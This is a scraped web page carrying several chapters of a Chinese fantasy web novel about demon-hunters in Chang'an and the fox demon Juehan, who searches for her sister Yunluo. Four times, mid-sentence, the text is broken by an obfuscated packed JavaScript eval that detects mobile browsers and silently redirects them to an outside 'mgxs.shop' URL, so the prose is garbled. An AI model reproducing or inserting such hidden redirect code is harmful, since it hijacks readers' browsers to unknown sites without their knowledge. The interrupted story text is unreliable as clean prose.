;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469012|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪白汐:“昨夜……今早……” 许裳裳:“这……还挺意外的。” 胥远期挠挠头解释道:“我昨夜看她受伤了,就想着带她回来。” 三人齐问:“你之前认识她吗?” 胥远期面露难色:“这很难说。” 三人面面相觑,然后每人走到他跟前锤了一下他肩膀。 顾清冉:“远期你胆子真大!” 纪白汐:“远期你出息了!” 许裳裳:“远期我们相信你的选择!” 胥远期放下心来笑了笑,他们几个是最后到偏殿的。 殿中央横列五张长桌,它们拼接在一起,其他除妖师和执笔人都已落座。 晚来的几人匆匆坐下,顾清冉不愿和顾长聿坐在一起,中间只得隔了许裳裳,想来是昨夜吵完架后还没有和好。 昨夜晚归在门外撞见的那少年坐在胥远期斜对面,他低着头,每吃一口饭,目光便呆滞片刻,不知道心里在想着些什么。 他看了一圈,简无遗不在。 纪白汐坐在胥远期身旁,他是一个看起来有几分稚气的少年,毕竟他也是这一行人里最小的,才十七岁。 胥远期轻唤:“小汐。” “嗯?” 少年看起来胃口极好,碗里堆满了饭,抬头的时候嘴边还一圈油。 纪白汐下意识地用袖口擦嘴,可眼神却瞟见桌上有摆放的整整齐齐的餐巾,于是慌忙拿过一块餐巾擦了擦嘴。 胥远期笑道:“怎么吃得这么着急?” 少年略显羞涩地笑了笑。 胥远期又问:“你见到简无遗了吗?” 他想起昨夜的事,于是顺口打听道。 纪白汐眼睛微闭想了一下:“是风云派那个与易世安有些像的?” 胥远期迟疑地点了点头。 “他来的挺早,吃了一点东西便走了,应该去后山修习去了,昨夜我也看见他去那里练了很久。” “昨夜?” 胥远期昨夜看见简无遗提着剑站在云落床边,他还以为他是特意来杀人的,现在想来,很有可能是他练完功回来直接走进了他的屋中。 他心中道:“可能是误会他了。” 早上的伙食,有鱼有肉还有汤,白面馒头堆在盆里堆得老高,胥远期去的时候,菜还有很多,馒头只剩几个了。 胥远期舀了一勺粥,拿了一个馒头。 以前在宗门都是这样吃,如今看见满汉全席反而有些不习惯。 这时,突然“啪”的一声,本好好吃饭的一位白发执笔人忽然大力拍了一下桌子,胥远期与其他人还当自己犯了错,目光皆被吸引了过去。 老人道:“大胆!尔等怎还不出剑!等着束手就擒吗!” 胥远期:额? 一年轻的执笔人连忙将他扶起,带着他匆匆出了门,可这老人依旧边走边大叫着,重复着相同的话。 席间的一位执笔人看着众少年疑惑的双眸,冷静道:“大家不必在意,他因为过往的意外已疯了许多年。” 除妖师们瞬间明白:这老人就是血衣灭门的幸存者。 7. 山河玉骨美人目4 席间陷入了一阵诡异的沉默。 大家已吃得差不多了,相继放下了筷子。 见状,一位执笔人站起,开始发话。 “长安城里,每户人家的屋檐下都挂着信号烟。” “从今日起,由归墟司的除妖师最先开始巡逻,主要负责侦查妖怪,若有异象,可点燃信号烟,其他各个方位的除妖师看见了便会赶来相助。” “每五天为一个周期,正月十六到正月二十这几天,诸位要多加劳心。” 胥远期听得脑子嗡嗡的,一除妖师问:“现在就得出去了吗?” 执笔人道:“我只负责传达,要如何做,皆由你们自己决定。” 饭后,众人回房拿了些装备便离了归墟司,有的结队,有的则是单人行。 胥远期回到屋中,他拿出剑擦拭了一番,随后便走出了房门。 彼时的云落已赶回了无解之西,却发现屋里空无一人:“珏含他们去哪了?难道是长安……” 就在今早,天还未亮,珏含等不到云落,焦急得一直来来回回踱步。 小男孩趴在桌子上,看上去也毫无激情可言。 似想了好多事,珏含终于停下了脚步,她用拳头敲了一下自己的手心,道:“不行,这都快两天了,姐姐还不见人影,肯定是出事了。” 她早已在妖界放了好几只小狐狸,若云落在妖界,小狐狸定会带回她的消息,可此刻她依旧没得到任何回应,她猜测云落定不在妖界。 纠结再三,她道:“时遂,我们去长安!” “长安?可是阿娘说不可以……” 时遂慌忙走过去,话说到一半,突然嘟起嘴巴坚定道,“好!小姨,我们现在就去长安找阿娘!” 于是乎,他们与正要回来的云落恰好错过了。 珏含带着时遂很熟练地抄近道,翻山越岭到了无解之东。 时遂小眼睛转个不停:“小姨,你之前是不是偷偷去过长安呀?” “说什么呢,小姨我可听话了。” “哦。”时遂迟疑地点了点头。 珏含和时遂来到长安时,还碰到几个新来的除妖师,街上热闹非凡,二人站的老远,珏含悄悄对时遂说:“咱们可得小心点,这些人是坏人,会打我们的。” 时遂害怕地要哭了出来:“好,阿娘会不会被他们带走了。” 珏含拍拍头安慰道:“不会,没人打得过你阿娘。” 看热闹过去了,二人走在大街上寻寻觅觅,到了深夜也没有线索,穿梭在人群中,珏含心生茫然:“姐姐呢?” 看着一群不熟悉的人,不熟悉的建筑,时遂已出现了哭腔:“阿娘呢?” “时遂乖乖,不要哭。” 珏含低着头边走边安慰着时遂,一抬头,一男子与她迎面撞上。 珏含忙道歉:“抱歉!” 男子没说话,只继续朝她相反方向走去。 珏含只走了几步便发现了不对劲,腰间的钱袋子没了。 “抓小偷呀……” 话到嘴边珏含硬生生地咽了下去,她一个妖若惹出太大动静可不好了。 于是她拉着小时遂便狂奔追去。 偷钱贼看珏含追来,跑得愈发快。 珏含不甘示弱,紧追不舍。 时遂几乎是被拉着跑的,脚就没挨地。 他的小辫子在空中飞扬,说话都变得结巴了:“……小姨,慢……慢点!” “时遂呀,那是我们唯一的钱,想要在长安混下去必须得有钱呀!” “那小姨,你再快点跑!” 越跑越远,身边的人也越少。 在深巷尽头,那贼终于停下了脚步。 珏含此时跑累了,她弯着身喘了几口气,抬头看,那贼竟骂骂咧咧地向她走来。 男人一副腌臜姿态:“追什么追,追到这里对你有什么好处?” 珏含看了下四周,那人故意将她引到这偏僻小巷,殊不知正合她意,她喘着气对时遂说:“等会儿你不要看。” “不要看?”时遂不太懂什么意思。 “就是你现在闭上眼睛,小姨让你睁开你再睁开。” “好。”时遂乖乖闭上了眼睛。 那男人迎面走来,指着珏含开口骂道:“你个泼妇……” 话还没落音,珏含一拳打了上去,她哼了一声:“不识好歹!” 那个男人的鼻子瞬间喷涌出鲜血,整个人直挺挺地倒在了地上,珏含走过去又踢了男人几脚,将自己的钱袋子拿了回来,她摸到这贼身上还有其他银子,也一并拿了过来。 “睁眼吧。”珏含笑着摸了摸时遂的头。 时遂看着地上躺着的人,吓了一跳:“小姨,你把他打死了吗?” “没有,他跑累了就地休息而已,我们走。”珏含笑眼盈盈地对时遂说道。 “这是怎么回事?” 珏含刚准备走,突然听到身后传来陌生男声。 珏含回头看,映入眼帘的是一张很清贵的脸。 此人身着一袭水青暗纹圆领袍,领间露青碧回纹中衣,头裹玄色软襆头,青丝尽敛,更显眉目清朗。 挺好看的一少年却将珏含吓出了一身冷汗,也不知他是从哪里穿过来的,此时他正俯身看着地上晕倒的男子,珏含看他神态,约摸是除妖师。 她强装镇定,下意识地把时遂挡在身后:“他没事,一会就醒了,你不用管他。” “这样呀。”男子回答道,他站起身,说道,“你们不用害怕,我是除妖师。” 珏含心想,倒是个不精明的除妖师,竟没有发现眼前人是妖。 她笑的勉强:“除妖师呀,我们当然不害怕了。” 时遂突然探出头来:“除妖师?那不是除我们的吗?” “……” 空气中弥漫着淡漠的尴尬与死寂。 但那人却突然轻笑,夜色朦胧,他笑的似乎很温柔:“我叫穆九尘,敢问姑娘芳名?” “我现在要回家了。”珏含支吾着说,说着说着往后退,然后又拉着时遂开始跑。 穆九尘留在原地,自言自语道:“应该可以。” 他向前走了几步,弯下腰似捡起了什么东西。 珏含跑了许远,看他没追上来,才偷的片刻闲。 一个除妖师,珏含自认为是可以打过的,只是毕竟时遂在一旁,若引来其他除妖师可就麻烦了。 时遂一屁股坐在地上,抬头问道:“小姨,我们现在怎么办?” “我们有钱,先找个地方睡觉,明天再找阿娘好不好。” 兜来转去,二人来到了求凰楼前。 珏含皱眉:“好奇怪的地方。” 她的目光看向九楼,作为一只妖,她敏锐地察觉到,顶楼藏着很危险很强大的存在。 以前她也偷偷来过长安,不过是贪恋长安美食,于是绣了些帕子卖些铜钱,用铜钱换了好吃的便匆匆离去,从没有明目张胆地逛过,这种人流量大的求凰楼更是不敢来,不曾想这里竟藏着妖。 此刻比起人间寻常客栈,她更想要待着这种不那么寻常的地方。 这里的房间贵,她庆幸把那小贼的钱也拿了过来,不然的话,可住不起这里的雅间。 门外的迎客女娘从上到下扫了她一眼,随后淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469013|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡一笑,将她带到了一个叫“梦回”的房间。 她也暗暗打量着这女人:像妖,但无妖气,真是奇怪。 进楼后,时遂好奇的眼睛一直盯着这里的人,到了雅间后,小眼睛也转来转去地打量着。 珏含端来洗脚盆,二人的脚泡在温水里,珏含故意踩时遂的脚,以前这种时候,时遂也会笑着和她闹,可今日这孩子无精打采的。 珏含一抬眼,时遂的眼泪滴进了水里,他哽咽道:“小姨,我们不该来长安,阿娘也不应该来长安,不来长安什么事都不会发生,我们还会像以前一样,住在自己家里,每天开开心心的,你们都不会离开我。” “你阿娘不会离开你,我也不会离开你。” 珏含说着便用手擦去了时遂的泪光,她笑道:“我家小时遂怎么突然说这样的话?你阿娘多厉害呢,你要相信她,我们很快就会找到她的。” “嗯!”时遂用小手擦去了眼泪,坚定地点了点头。 深夜已至,月沉阁内,胥远期回来后直挺挺地躺在了床上,今日出去巡逻,他总在找云落的踪迹,他终归是担心的。 云落的伤明显是妖族所为,她看起来柔弱,若是再遇上有仇的妖怪该如何? 胥远期揉了揉太阳穴,努力让自己不再想这些,随后拿起剑走出房门去了后山。 大家都如此勤勉,他虽被心事困扰,可并不能松懈。 所谓后山,也并非只有山,只是他们习惯将练功区域称为后山。 其中,功能最强的,莫属于灵枢台了。 灵枢台呈现阴阳卦象之态,外围立有七七四十九台机关柱,一旦有人站于台上,便会触发机关阵,暗箭,刀刃,火焰,狂风……甚至还会幻化出真实妖怪。 这些机关均为虚像,中了机关不会真的受伤,但会切身实地地感受到痛苦,痛苦在一个时辰内便会消弭。 灵枢台宽阔,可同时容纳百人。 今日大家巡逻得都有些累了,胥远期走过去时,只看见简无遗一人守在台上苦练。 少年随即踏上台去。 简无遗扫了他一眼,没有理会。 “简无遗。” 胥远期唤他名字,他没有回应。 少年一边躲着机关,一边硬凑到他身旁去,简无遗执着于练功,不予他回应。 这时,一机关突然射出一支利箭,箭头直指胥远期的脑袋。 胥远期直直地站着,躲也不躲。 在箭头离胥远期首级只有不到一公分之时,简无遗迅速伸出手抓住箭杆。 “你做什么!”简无遗终于开了口。 胥远期道:“我是来道歉的,昨晚我误会你故意拿着剑,说话语气不太好。” “没这个必要。” 简无遗还不在乎,说着便走下了灵枢台。 胥远期没有追他,只站在原地没脸没皮地笑道:“我就当你原谅我了。” 他又小声嘀咕:“你私自进我屋的事我也不计较了。” 简无遗貌似听到了这句话,他停下脚步,回头道:“你屋门没关紧,我那时是看屋里没动静,打算帮你关门。” “啊?” 胥远期尴尬道。 不等他再说些什么,简无遗的身影便慢慢消失在黑夜里。 胥远期皱了一下眉头,随后跳上了灵枢台。 少年摆好姿势,张狂道:“来吧来吧!攻击来得猛烈些吧!” 寒夜凄清,少年拿剑的手被冻僵了,偶有机关乍现,他来不及躲避,被划了几刀,给他疼得嗷嗷叫。 不过他心中越来越兴奋:这般好的机关台,也就只有归墟司才有了。 8. 山河玉骨美人目5 在东边的宅院里,初小一用昨天和今天的银子在长安当铺换了一把断了弦的二胡,他将二胡修好,随后坐在了院子中央。 今夜月色圆满,然人心寂寥,又有冷风凄切,免不了悲从心生。 他看到身后的房间亮着灯,是风云派掌门的女儿付夜紫住在这。 初小一觉得她应该并未入睡,于是便坐在院中石凳上拉起了二胡,边拉边唱《琵琶行》。 “夜深忽梦少年事,梦啼妆泪红阑干,红阑干~” 二胡声音哀婉流转,情到深处之时,付夜紫突然打开窗户,抄起一本书朝他的肩膀砸了过去:“别唱了!” 说完后,少女重重地关上了窗户。 初小一身体僵硬了好一会,也许是因为被打傻了,也许是因为被尴尬死了。 他摇摇头,叹息道:“世途艰,艰声长叹,满天星斗寒……” 说着,他便弯下腰捡起了那本书,随后站起身,将书轻放在付夜紫窗边,隔着窗子,他抱歉道:“付夜紫,书我捡起了,打扰到你不好意思呀。” 他揉了揉肩膀被打的地方,提起二胡向自己的房间走去,边走边低声继续吟唱道:“梦啼妆泪红阑干~红阑干~” 此刻,满屋亮着灯的付夜紫,一向倔强的眼却闪烁着泪光,她的手放在火炉上,却依旧觉得很冷。 冬夜太长了,很多年轻的孩子被困在了夜晚。 这个夜晚,胥远期想着白日惊鸿一面,暗自懊恼:连名字也不知道,自己又去不了妖界,也不知还有没有再见的可能。 他辗转反侧,身上本就因一天的劳累而腰酸背痛,又想到自己命数短,还想到简无遗的那句话——“短命人不该去招惹一个妖”。 想着想着,他竟很没出息地流下了泪。擦干泪后也不甚明白自己为何会哭。 而无解之西的云落也彻夜未眠,她白日找寻了一天,在妖界也没找到珏含二人的足迹,她的目光最终还是投向了长安——这个她不想再回去的地方。 第二日,珏含和时遂从求凰楼醒来后,凭着她的经验,她点了几个一看就很好吃的菜。 大早上的,酒楼里便人群喧闹,珏含都怀疑是不是他们彻夜未归,不过这雅间的隔音效果倒是好,昨夜很是安静。 珏含嘴中嚼个不停,眼睛无意间朝门外瞟了一眼。 这一瞟给她吓了一跳,外面是昨夜遇见的那男子。 穆九尘在门外经过,恰巧与珏含对视上了。 “姑娘!” 珏含听着这熟悉的声音,瞬间慌了心神。 “没完没了了还?” 她连忙拉着时遂连忙上楼,她向下一瞥,穆九尘竟紧跟不舍,她腿跑得更快了,飞速退到雅间,匆匆关门。 就在门要关上的那一刻,少年修长的手指抓住了两扇门的门框,他将门往两边一推,从容走了进来。 在他抬起头的那瞬间,珏含竟从他的脸上看见了“侵略”二字。 不过少年的脸很快变得温和。 珏含满是防备地将时遂护在身后,她已经准备好随时动手了。 穆九尘走向她,突然拿出了一根明黄色的花簪,珏含定睛一看,那是自己的簪子,她竟没发现簪子不见了,少年道:“姑娘,上次你走得快,掉了一根簪子,恰巧被我拾得。” 穆九尘靠近珏含,轻轻为她将簪子插入发间。 珏含心跳加速,随之脸庞也变得有几分通红。 未经世事的她,此刻心里被情火烧得厉害:“这人间男子,怎么……别有一番风味……” 时遂站在一旁,肉嘟嘟的小脸不解地看着二人,他伸出小手捏了捏下巴,作出思考的姿态。 穆九尘将发簪为她整理好,随后后退一步,温言问道:“你叫什么名字?” 珏含不知道那饭菜是不是下了毒,她竟然开始乖乖回答问题了,她道:“我叫珏含。” 穆九尘笑:“你还记得我的名字吗?” “你叫穆……穆……” 珏含说不出来,昨夜她很紧张,都没仔细听穆九尘的话。 少年道:“我叫穆九尘。” 珏含欲言又止:“你难道……” 穆九尘淡然一笑:“我知道姑娘是妖。” “我虽是风云派的人,但也并非那般嗜血,姑娘看起来单纯,不像是会害人之妖。” 珏含更害羞了。 穆九尘又看向小时遂,问道:“这孩子是?” 珏含支支吾吾道:“他是我的外甥。” 时遂挥了挥手,扬起头看向穆九尘,道:“我叫时遂。” 穆九尘正欲摸一摸时遂的头发,可小孩子心里还是存在防备,于是后退一步躲在了珏含身后。 少年轻笑,问:“姑娘为何来长安?” “找人。” “找谁?” “找我姐姐。” “你姐姐?她有什么特征吗?” “我姐姐很漂亮,非常非常漂亮,她一身白色衣裳……” 听着描述,穆九尘眼前忽然闪过胥远期那天抱着的女子。 那夜他回得晚,刚好撞到胥远期在归墟司门外蹑手蹑脚地迟迟没进去。 他道:“我好像见过。” 珏含眼睛一亮:“在哪?” 时遂也忙站了出来,睁大眼睛看着穆九尘。 穆九尘道:“归墟司。” 珏含不信:“你……你是想把我骗过去杀吗?” 少年笑:“我知姑娘可能不信我,但若姑娘真想找到口中的姐姐,还请随我来。” 珏含心中存疑,奈何几日都不见云落,她实在着急。 “好!”她答应了。 一路上,珏含握紧时遂的手,她偷偷瞄着穆九尘,半信半疑。 到了月沉阁,珏含脚步突然慢了下来。 “怎么是这里?” 她鼓囔着,目光在简无遗东边那座空房停留了片刻,又很快收了回来。 穆九尘先是敲了敲胥远期的屋门,里面无人应答,门半掩着,他就推开了门。 “怎么会……” 推开门后,房中无人,云落不在此地。 穆九尘一回头,珏含已拉着时遂跑没影了。 少年愣愣地站着,似有些丧气。 一路上,珏含抱起时遂拼命狂奔:“啊啊啊!真是把我骗过去杀!” 时遂苦着脸:“阿娘到底在哪呀!” …… 胥远期在中午巡逻回来后,刚欲回屋,便看见一个身影向他走来,他一抬头,来人直接说道:“你前天夜晚带回来的那女子……” 话未说完,胥远期想起了那夜在门外撞见的少年就是他,再结合他是风云派的人,他不安地问道:“……怎么了?” 穆九尘顿了一下,突然皱了一下眉头,开始介绍自己:“不好意思,我忘了介绍自己,我叫穆九尘。” 胥远期恍然大悟:“啊……你就是穆九尘呀。大初……也就是初小一,他跟我提过你,他说之前他下山采办货物时,经常会遇见你也被派下山,我是胥远期,与他关系很好。” “我知道,同行的时候他提过你。” “你问前夜的事……” “哦……我遇一女子,她叫珏含,来长安寻她姐姐,极有可能是你带回来的那女子,今日我本欲带她和孩子来找,却发现她早已离开了。” 胥远期点点头,他看着穆九尘,欲言又止:“原来是这样……那你已经知道……” 穆九尘眉间一闪而过的异样,他坦然道:“我知道她是妖。” “你……不是风云派吗?” “你将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469014|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她带回来,肯定是有原因的,长安的除妖师命数皆短,能留下的东西很少,我无心生事刁难于你。” 胥远期点头,诚恳道:“多谢你告知我这些事情。” 穆九尘又问:“不过你可知你带回来时那妖唤作何名?” 胥远期摇头:“不知。” “哦……珏含说她姐姐叫做云落,若是你再次见到了那姑娘,帮忙问一问吧。” “好,谢了。” 胥远期突然反应过来什么,他问:“不过你说的孩子是谁?” “那孩子叫时遂,云落姑娘是他的娘亲。” “娘亲?!” 胥远期感觉天塌了,倒不是因为她有孩子,而是因为这说明云落有心上人,有夫君? 看他失落,穆九尘没再多问,只拍了拍他的肩膀,随后转身离去。 整个中午,胥远期心不在焉地吃完了饭。 他百无聊赖地看着桌上的一群人: 哎,这顾长聿与顾清冉中间不只隔了许裳裳,还隔了其他两个人,好好的兄妹,怎么还没和好呢。 哎,这纪白汐果然年少,胃口真是好,一顿饭竟然能吃这么多,还是在长身体呀。 哎,这简无遗怎么又不见人影,是去后山练习了吗,为什么让自己这么累。 哎,这穆九尘也是个善解人意的少年郎呀,可为何告诉我那样悲伤的消息…… 想着想着,胥远期心里便开始唉声叹气。 午后,他看着空落落的房子,苦着脸地关上房门,又巡逻去了。 …… 城内的宰相府,一少年昂首走出。 在府外一直等着他的人从地上站起,他拍了拍衣服,笑着问道:“执一,怎么这么快就出来了?没和你父亲多说说话吗?” 阴执一道:“你一直在外面吗?” 等他的那人叫常鸿志,看起来与阴执已关系很好,他笑着说:“我等你呀。” 阴执一不再多说,二人走上长街。 在长街的对面,珏含拉着时遂,躲躲藏藏,避着避着还是遇到了他们。 阴执一一袭暗紫色锦衣,手带扳指,腰间别着玉佩,看上去就像个寻常公子哥,珏含全然没有在意,与他擦肩而过。 “妖!” 阴执一脚步一顿,目光凶狠地回头看向珏含。 他火速追了上去,珏含一回头,这人来势汹汹,她顺感不妙,抱起时遂撒腿就跑。 常鸿志见状,正欲也追上去,不过他看附近有信号烟,于是停下来点燃了烟,再匆匆跟了上去。 完蛋了完蛋了……这人是除妖师? 珏含回头看了一眼,阴执一咬的很死,她想,这样跑下去不是办法。 前方一小贩推着满车的橘子叫卖着,眼看阴执一要追上了,珏含用脚猛勾了一下推车,推车瞬间一横,挡住了阴执一的前路。 阴执一没刹住脚步,直接撞了上去,“哗啦”一声,推车上的橘子尽数滚落在地。 阴执一不耐烦地“呸”了一声,他掏出一个钱袋扔在了车上,没有多加拖延,立刻又追了去。 珏含以为甩掉了他,谁知她一瞥,阴执一像个疯狗一样,跑得飞快。 “小姨,怎么办?他一直在追我们!” 时遂急出了哭腔,他被珏含扛在肩上,这个角度正好能看见后面阴执一紧追猛赶的凶狠模样。 珏含明白:这人大概是甩不掉了。 她奋力跑到一个巷口,将时遂放了下来,推到巷里去,她嘱咐道:“时遂你乖乖在这等着,你别害怕,他们不会伤害你。” 说完后,珏含便立刻走出巷口,撸起袖子就打算正面硬刚,谁知此时,穆九尘不知从哪冲了过来,拉起她的手便开始跑。 而当阴执一赶到之时,眼前只有时遂愣愣地看着他们。 9. 山河玉骨美人目6 珏含被穆九尘拉着愣愣地跑了一会后,用力甩开了他的手。她当穆九尘是打算跟她打架,结果走了这么远他也不动手。 她吼道:“穆九尘你做什么?要打就打,跑什么跑!” 穆九尘道:“我不是要打你,我想救你。” 珏含一副气愤的姿态:“救我做什么!” “我不想姑娘死去。” 珏含心跳又快了几分,不过她的危机感仍未解除,她深吸了一口气,道:“不杀就算了,时遂还在那呢!我要走了!” 穆九尘拉住她的袖口:“你别去,那里很多风云派的人,他们没那么好说话,真的会杀了你,但时遂不一样。” “可我不可能留他一个人!” 穆九尘沉默了一秒,道:“我带他过来。” 他继续说道:“珏含,你真的觉得你能打得过一群人吗?你相信我,我一定带他回来。” 少年突然叫出了珏含的名字,搞得少女有点不习惯,她还是有些愤怒道:“我为什么要相信你,你早上就骗我了。” “我没有骗我,我真的看见你姐姐了,只是她刚好走了,我若是想害你早就害了,何苦等到现在。何况时遂身上并无妖气,他只是个孩子,我们除妖师肯定不会对一个孩子下手,但你就不一样了。” 珏含知道,时遂身上是没有妖气的。 她看着穆九尘,眼前人目光赤诚,说的话挺有道理,她也知道,她要是一个人去,应该不能全身而退,她妥协道:“好吧,我在这里等你。” “这里不妥。” “那要在哪里?!” 穆九尘道:“你跟我回归墟司,其一,你躲进我屋里,不会有人发现你,我也好找你,其二,若是你姐姐发现你们不在妖界,也必然会再回来找,她之前在归墟司待过,极有可能还回去。” 思虑再三,珏含觉得穆九尘的话确实有道理,她选择跟着他先去归墟司。 此刻的小时遂颇为可怜。 他被阴执一逼到巷子深处,又有几人匆匆赶来,此刻在孩子对面站着的,不光有阴执一和常鸿志,东边的付夜紫和初小一他们也赶到了。 初小一擦了擦额上的汗,看着眼前这个小男孩,问道:“这不是个孩子吗?” 阴执一皱着眉头看着时遂,他本以为二人皆是妖,可珏含不见后,他才发现时遂并无妖气。 众人围在时遂身旁,用数双眼睛打量着他。 常鸿志问:“这孩子是人是妖?” “人吧?感觉不到是妖呀……” “可是刚刚抱着他的女子分明是妖……” 众人七嘴八舌,这时候,时遂大喊道:“我是妖!” 时遂害怕极了,他印象中妖是很厉害的存在,所以他想说出自己妖的身份,从而吓跑眼前这些人。 大家似乎没有把一个小屁孩的话当回事,又有人打趣般地问道:“你既是妖,为何没有妖气?” 时遂捏着拳头,站姿紧绷绷的,他鼓起勇气说道:“因为我阿爹是人呀!” “什么?” 众人大惊。 这无疑是颠覆了他们的想法,妖与人乃宿敌,怎会有孩子! 大家的目光直愣愣地看着眼前的孩子,一时不知所措。 阴执一冷笑了一声,说道:“既然是妖,我现在杀了便好!” 初小一阻止道:“他还是个孩子!” “是孩子不正好?现在杀了,不给他长大作恶的机会!” 阴执一向前走欲举起剑,初小一连忙用手抓住他的胳膊,厉声道:“不可杀!” 阴执一的目光落在他的手上,那眼中满是嫌弃与鄙夷,他用命令式的语气对初小一说道:“把你的脏手拿走!” 初小一不为所动。 时遂看着眼前这一幕更是胆都要吓破了。 这时,身后忽然传来了不容置喙的声音:“把你的剑也放下来!” 二人同时回头看,发话的是付夜紫。 付夜紫走向孩子,时遂有些害怕地低下了头。 初小一与阴执一都松开了手,剑拔弩张的气氛也逐渐消失,所有人都想看付夜紫要做什么。 只见付夜紫蹲下身,似乎想更仔细地看看他的脸,少女问道:“你几岁了?” 时遂紧紧闭着嘴不敢说话。 付夜紫凑近看着他,时遂都不敢把眼睛睁得太大,少女轻声说道:“你四岁了对不对?” 胥远期睁一只眼闭一只眼,用拙劣的演技偷偷看着付夜紫,孩子心想,这人怎么能准确说出我多少岁了? 付夜紫又继续问道:“你阿爹叫什么名字?你姓什么?” 没等时遂说话,少女突然觉得身后一凉,一股隔空之力袭来,眼前的孩子腾空而起,向一人飞去。 “阿娘!” 原来是云落来了。 她身姿轻盈,步步生莲,只一挥手,时遂便被她拥入怀中。 时遂立刻抱住云落的脖颈,亲了她一下。 云落不急不慢道:“时遂别怕,小姨呢?” “她被一个除妖师带走了。” “除妖师?” “他说他叫穆九尘,住在一个叫归墟司的地方。” 云落轻蹙眉头:怎么又是归墟司。 她一抬眼,众人已改变了位置,将云落包围在了墙边。 她挑起眼眸,云淡风轻地看着眼前这群人。 初小一傻眼了:这不是远期带回去的那个姑娘吗? 常鸿志小声问道:“这个一定是妖了吧,她若真是这孩子娘亲的话,难不成孩子他爹确实是人?” 又有一人低声说道:“肯定是妖呀,你觉得那张脸是人能长出来的吗?” “就是呀,没看见她刚刚使用的妖力呀。” 阴执一拔出剑,狂妄笑道:“来的正好,两个一起杀!” “不可!” 不等云落说话,初小一突然挡在她身前大吼了一声。 他心里早已慌得要死,他看了一眼眼前人,完了,怎么竟是风云派的?! 阴执一怒声道:“怎么?你要包庇妖怪吗?” 初小一稳定心神,他道:“我山河派杀妖,向来区分好坏,这姑娘看起来柔弱至极,其还有一个孩子,孩子父亲既然是人,那便说明这姑娘与这孩子都不会害人。” “你在说什么狗屁东西?非我族类,其心必异!这孩子父亲怕是受蛊惑了,正好让我来斩草除根!刀剑无眼,伤了你也是无心之错!” 阴执一说着便举剑要砍过去。 说时迟那时快,付夜紫突然大步走过去挡在了前面,阴执一的剑被迫停在了空中。 他有些许不可置信:“付夜紫,你这是做什么,你要违背你父亲的教导吗?!” 少女从容不迫道:“我做什么,都出于本心,如今,我的本心,不想让他们出事。” “你疯了吗?” 眼前的情形越来越严峻,常鸿志忙走上前来,他拉了拉阴执一胳膊,说道:“执一,要不然算了?” “算什么算!” 此刻这群人矛盾的核心,也就是云落,正眼神平静地看着挡在她身前的初小一和付夜紫。 阴执一继续吼道:“我今日非杀不可!” 说着,他便举着剑从初小一和付夜紫之间插了过去,直直砍向云落。 云落平静地看向阴执一砍过来的剑,她许久没有经历这把吵闹的情景了,一直不声不响的,显得自己倒像个局外人一样。 前面二人挥出剑却没来得及挡下。 云落始终不慌,云落不慌,时遂便也不慌,这对阴执一来说,无意是挑衅。 “住手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469015|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 一道熟悉的声音传入了云落的耳朵,胥远期突然从外围冲进,一脚将阴执一踢到地上去。 是胥远期。 “执一!” 见状,常鸿志忙去扶他,阴执一表情扭曲地站了起来:“哪来的狗东西,敢踢老子!” 可胥远期压根没有理他,他看到信烟后便察觉可能出意外了,如今来恰好赶上这一幕。 他庆幸自己没有来晚,少年满脸关切地将云落从头到尾看了一遍:“你没事吧?伤都好了吗?” 云落依旧没理他。 初小一像看到了救星一般:“远期,你总算来了!” “大初,谢谢你!” 初小一摆摆手:“我们之间谈什么谢谢!” 少年又看向付夜紫:“这位是付夜紫吧,多谢。” 付夜紫不清楚为什么胥远期要和她说谢谢,她迟疑地点点头。 阴执一绷不住了,他大喊道:“你们几个,究竟要干什么!” 看到信号烟而跑来的除妖师越来越多。 归墟司那群人几乎都来了,也都不约而同地站在了胥远期这边,穆九尘匆匆赶到,老远看到一切无事便松了口气。 纪白汐看着这诡异的动静,凑到胥远期耳旁问道:“这是咋了?” 不等胥远期回答,年轻的少年抬眼看到了胥远期身后的云落,瞬间脸羞得一红。 本还杀气腾腾的巷子突然变得吵了起来。 